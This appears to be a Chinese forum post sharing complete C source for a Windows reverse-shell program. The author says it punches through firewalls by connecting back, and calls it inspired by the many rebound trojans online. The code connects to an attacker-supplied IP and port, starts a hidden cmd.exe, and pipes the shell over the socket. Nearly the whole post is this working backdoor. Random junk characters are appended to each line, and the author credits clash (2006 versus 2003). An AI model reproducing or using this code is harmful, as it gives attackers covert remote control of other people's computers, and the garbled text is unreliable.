这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u]vPy
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/* ============================== UOI^c
Rebound port in Windows NT W}gVIfe
By wind,2006/7 tjzA)/T,4
===============================*/ \XH@b6{
#include r%MyR8'k]
#include -ut=8(6&
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#pragma comment(lib,"wsock32.lib") ]6~k4
.j 'wQ+_
void OutputShell(); 19y
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SOCKET sClient; 3z,2utH
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OD4W}Y.
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void main(int argc,char **argv) gRvJ.Q {h
{ FN{/.?w(
WSADATA stWsaData; +{>.Sk'$
int nRet; gduxA/aT
SOCKADDR_IN stSaiClient,stSaiServer; RK)l8c}
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if(argc != 3) wixD\t59X
{ 75 Fp[Q-
printf("Useage:\n\rRebound DestIP DestPort\n"); 5ZsDgOeY
return; D0M!"c>\
} wiV&xl
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WSAStartup(MAKEWORD(2,2),&stWsaData); XARSGAuw
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eiB(VOJ
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stSaiClient.sin_family = AF_INET; 9S"N4c>
stSaiClient.sin_port = htons(0); S~&\o\"5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S-,kI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A:xb!=
2
{ 2mOfsn d@
printf("Bind Socket Failed!\n"); g^n;IE$B
return; yy))Z0E5
} %JaE4&
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stSaiServer.sin_family = AF_INET; Bfn]-]>sD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WhenwQT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I$Eg$q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6m\*]nOy4
{ 3Pa3f >}-
printf("Connect Error!"); *vXDuhQ
return; _X?y,#
} * S{\#s
OutputShell(); W9+h0A-
} =%)})
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void OutputShell() % IPyCEJD
{ dc)wu]
char szBuff[1024]; ?9,YVylg
SECURITY_ATTRIBUTES stSecurityAttributes; "1CGO@AXS
OSVERSIONINFO stOsversionInfo; y,1S&k
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D~7%};D[
STARTUPINFO stStartupInfo; d^_itC;-,
char *szShell; @u<0_r
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PROCESS_INFORMATION stProcessInformation; +:b(%|
unsigned long lBytesRead; 6O]Xhe0d@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bL#sn_(m
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ul}4p{ m[
stSecurityAttributes.lpSecurityDescriptor = 0; 0yKwH\S
stSecurityAttributes.bInheritHandle = TRUE; 7kOE/>P?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +i2YX7Of
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {W]bU{%.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bl=*3qB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '?!<I
stStartupInfo.wShowWindow = SW_HIDE; |sZ9/G7
stStartupInfo.hStdInput = hReadPipe; DkMC!Q\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;uo|4?E:\(
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GetVersionEx(&stOsversionInfo); ()IgSj?,
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switch(stOsversionInfo.dwPlatformId) B xN#Nk~
{ s].Cx4VQ
case 1: v_F?x!
szShell = "command.com"; t-ReT_D|;
break; @Oc}\Rg
default: P*^UU\x'4I
szShell = "cmd.exe"; h^,YYoA$
break; [`nyq )
} 0BwQ!B.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ewlc ^`
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send(sClient,szMsg,77,0); R8Ei:f}
while(1) KqIe8bi^G
{ Vblf6qaBs
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I
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if(lBytesRead) X/D9%[{&
{ fHp#Gi3Lz
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #+Gs{i Xr
send(sClient,szBuff,lBytesRead,0); @[N~;>
} *} 4;1OVT
else 2F)OyE
{ $R}iL
lBytesRead=recv(sClient,szBuff,1024,0); SxQDqoA~
if(lBytesRead<=0) break; GnHf9
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;7{wa]
} o~N-x*
} ^rb7`s#G
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return; e/~<\
}